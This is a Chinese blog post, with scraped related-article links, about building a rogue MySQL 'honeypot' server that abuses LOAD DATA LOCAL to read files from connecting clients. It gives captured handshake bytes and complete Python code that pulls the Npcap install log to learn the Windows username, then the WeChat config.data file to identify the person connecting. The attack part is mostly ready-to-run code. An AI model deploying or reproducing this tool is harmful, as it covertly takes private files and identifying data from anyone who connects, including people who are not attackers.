东西比较老,类似的文章网上已经很多,原理主要是通过服务端的load data动作可以主动向客户端获取文件。

看过hfish等自带的mysql蜜罐读取/etc/passwd,感觉还差点实用性。这次文章主要还是要分析报文的数据交互,利用navicat二次交互获取微信等信息。

一、数据包分析:

1、用正式mysql环境,navicat连接抓包分析,TCP握手成功后,返回server greeting。

2、greeting报文主要是版本等信息,直接把bytes拿过来,待会儿socket制造套接字回包的时候直接用。

3、然后就是认证以后response ok,bytes拿过来,待会儿socket制造套接字回包的时候直接用,这是第二部分回包的数据。

4、接下去,navicat会发送set names utf8mb4,同理拷贝过来。

5、上面是navicat的已经够了,shack2要想扫到,交互还差几个包。SHOW VARIABLES,SHOW COLLATION,SET character_set_results=NULL。使用shack2做一次爆破后拷贝bytes字节流。内容很多,实际上只要头和尾就可以。验证如下:

6、总结下需要回包的字节流。

mysql版本信息 = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400"

认证返回成功 = b"0700000200000002000000"

variables = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200"

COLLATION= b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200"

SET:b"0700000100000002000000"

二、信息获取

1、用户的user怎么搞?攻击者要装wireshark,大概率的。还有一个是装QQ的。我感觉wireshark可能性更大,npcap日志中含用户名。

C:\Program Files\Npcap\install.log
C:\Users\Public\Documents\Tencent\QQ\UserDataInfo.ini

2、剩下的就是微信,navicat二次交互,第一次抓计算机用户名,第二次根据用户名抓微信。

C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data

第一次获取计算机用户名后替换user_name。

三、完整代码实现

 1 #-*- coding : utf-8 -*-
2 import codecs
3 import socket
4 import re
5
6 filename_get_user_file = r'C:\Program Files\Npcap\install.log'
7 filename_get_data_file = r'C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data'
8
9 serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 username = ""
11
12 port = 3306
13
14 serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
15 serversocket.bind(("", port))
16 serversocket.listen(5)
17
18 def _get_file(file):
19 if len(str(len(file) + 1)) % 2 == 1:
20 file_length = "0" + hex(len(file) + 1)[2:]
21 else:
22 file_length = hex(len(file) + 1)[2:]
23 file_response = file_length + "000001fb" + file.encode().hex()
24 clientsocket.sendall(codecs.decode(str.encode(file_response), "hex_codec"))
25 file_content = str(clientsocket.recv(9999))
26 return file_content
27
28 while True:
29 # 建立连接
30 clientsocket,addr = serversocket.accept()
31
32 # 返回版本信息
33 mysql_version = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400"
34 clientsocket.sendall(codecs.decode(mysql_version, "hex_codec"))
35 try:
36 # 客户端请求
37 clientsocket.recv(9999)
38 except Exception as e:
39 continue
40 # Response OK
41 verification = b"0700000200000002000000"
42 clientsocket.sendall(codecs.decode(verification, "hex_codec"))
43 try:
44 request_data = bytes.decode(clientsocket.recv(9999))
45
46 if "utf8mb4" in request_data:
47 if username == "":
48 file_content = _get_file(filename_get_user_file)
49 pattern = re.compile(r"Users[\\]{1,4}(\w*)")
50 user = pattern.findall(file_content)
51 if user != []:
52 username = user[0]
53 print(file_content)
54 else:
55 filename_get_data_file = filename_get_data_file.replace("user_name",username)
56 file_content = _get_file(filename_get_data_file)
57 print(file_content)
58 clientsocket.close()
59 elif "VARIABLES" in request_data:
60 variables_response = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200"
61 clientsocket.sendall(codecs.decode(variables_response, "hex_codec"))
62 if "COLLATION" in str(clientsocket.recv(9999)):
63 collation_response = b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200"
64 clientsocket.sendall(codecs.decode(collation_response, "hex_codec"))
65 if "SET" in str(clientsocket.recv(9999)):
66 set_response = b"0700000100000002000000"
67 clientsocket.sendall(codecs.decode(set_response, "hex_codec"))
68 except Exception as e:
69 print(e)

溯源反制-Mysql蜜罐的更多相关文章

  1. Mysql溯源-任意文件读取👻

    Mysql溯源-任意文件读取 前言 读了<MySQL蜜罐获取攻击者微信ID>的文章,文中说明了通过mysql蜜罐读取攻击者微信ID的过程,抱着学习的态度尝试了一下 原理 mysql中有一个 ...

  2. APT组织跟踪与溯源

    前言 在攻防演练中,高质量的蓝队报告往往需要溯源到攻击团队.国内黑产犯罪团伙.国外APT攻击. 红队现阶段对自己的信息保护的往往较好,根据以往溯源成功案例来看还是通过前端js获取用户ID信息.mysq ...

  3. MySQL复制异常大扫盲:快速溯源与排查错误全解

    MySQL复制异常大扫盲:快速溯源与排查错误全解https://mp.weixin.qq.com/s/0Ic8BnUokyOj7m1YOrk1tA 作者介绍王松磊,现任职于UCloud,从事MySQL ...

  4. Mysql命令show global status求根溯源

    近来,发现好多公司对mysql的性能监控是通过show global status实现的,因此对于这个命令想要探究一番,看他是否是实时更新的. 在此之前,我们必须搞明白mysql对于这个命令的执行过程 ...

  5. mysql发展历程 各分支版本溯源

    首先为什么要了解mysql的历史,了解一个软件的前生后世有时候还是很有必要,特别是对于走在架构之路或者是想深入了解一个软件的时候,在不同版本中由于进行了很多的改进或者说加入了新的功能,也有可能是软件本 ...

  6. 【排障】编译安装Mysql并使用自启动脚本mysqld后报错

    本文用于记录在某次个人实验搭建DZ论坛,在编译安装部署mysql环节时出的错到最终排除错误的过程, 前面采用DZ官网所采用的编译安装mysql的过程就省去,主要从报错处开始讲述. (题外话,经此一役后 ...

  7. Cowrie蜜罐部署教程【转载】

    0.蜜罐分类: 低交互:模拟服务和漏洞以便收集信息和恶意软件,但是攻击者无法和该系统进行交互: 中等交互:在一个特有的控制环境中模拟一个生产服务,允许攻击者的部分交互: 高交互:攻击者可以几乎自由的访 ...

  8. MYSQL的历史

    MYSQL的历史 见证MySQL发展历程 各分支版本溯源 http://tech.it168.com/a2012/0621/1363/000001363446.shtml [IT168 技术]毫无疑问 ...

  9. 简单实现MySQL数据库的日志审计

    时间 2018-12-23 08:01:11  FreeBuf 原文  https://www.freebuf.com/articles/es/192062.html 主题 MySQL 0×0 背景 ...

  10. [转]一键安装藏隐患,phpStudy批量入侵的分析与溯源

    一.前言 近日,腾讯安全云鼎实验室监测到大量主机被入侵并添加了一个名为“vusr_dx$”的隐藏帐号:同时,云鼎实验室还监测到此类帐号被大量创建的同时存在对应帐号异地登录的情况. Windows 的帐 ...

随机推荐

  1. [转帖]Linux-计算毫秒数

    https://www.cnblogs.com/yeyuzhuanjia/p/15822653.html date +%s返回自划时代以来的秒数. date +%s%N返回秒数+当前纳秒数. 因此,e ...

  2. [转帖]Arm vs X86 (unfinished)

    http://home.ustc.edu.cn/~shaojiemike/posts/arm/   ARM Ltd history 诞生 1981年,被Intel拒绝的Acorn(橡子) Comput ...

  3. Linux上面批量更新SQLSERVER SQL文本文件的办法

    1. 今天同事让帮忙更新几个SQL文件.. 本着自己虽然low 但是不能太low的想法, 简单写一个 shell 脚本来执行. 2. 因为我的linux 里面都安装了 sqlcmd 的工具 所以办法就 ...

  4. vue3.2新增指令v-memo的使用

    v-memo的讲解 vue3.2中新增了一个性能优化的指令: 这个指令就是v-memo; v-memo:可以做性能优化,v-memo中值若不发生变化,整个子树的更新会被跳过. <div v-me ...

  5. 配置elementuI菜单

    :unique-opened="true" 只保留一个菜单 :router="true"开启路由标识 index="users" 是标识 它 ...

  6. .NET 使用Camunda快速入门

    简介参考:https://www.cnblogs.com/lvdeyinBlog/p/16095603.html 一.工作流介绍 1. 什么是工作流 工作流(Workflow),是对工作流程及其各操作 ...

  7. 面试谈薪4点博弈策略,将20k谈到28k

    薪资谈判本质上是一种博弈,无论是表面谈得好还是实质上谈得好,都需要掌握一些策略 面试薪资怎么谈,您目前的薪资是20k,如果您想要提高到28k,那么请花两分钟看完以下内容.薪资谈判本质上是一种博弈,无论 ...

  8. 5个前端开源项目带你在Web上体验Windows

    本文来分享五个 yyds 的开源项目,这些项目把 Windows 带到了 Web 平台上.让我们一起感受这些项目带来的回忆和创新,重温 Windows 93.98.XP 和 7 的经典界面,甚至探索现 ...

  9. 论文精读:用于少样本图像识别的语义提示(Semantic Prompt for Few-Shot Image Recognition)

    原论文于2023.11.6撤稿,原因:缺乏合法的授权,详见此处 Abstract 在小样本学习中(Few-shot Learning, FSL)中,有通过利用额外的语义信息,如类名的文本Embeddi ...

  10. PVE上启用Intel核显的SR-IOV vGPU

    介绍 Intel SR-IOV vGPU是一种硬件虚拟化技术,它允许多个虚拟机共享单个物理GPU,而不会降低性能.SR-IOV定义了一种标准方法,通过将设备分区为多个虚拟功能来共享物理设备功能.每个虚 ...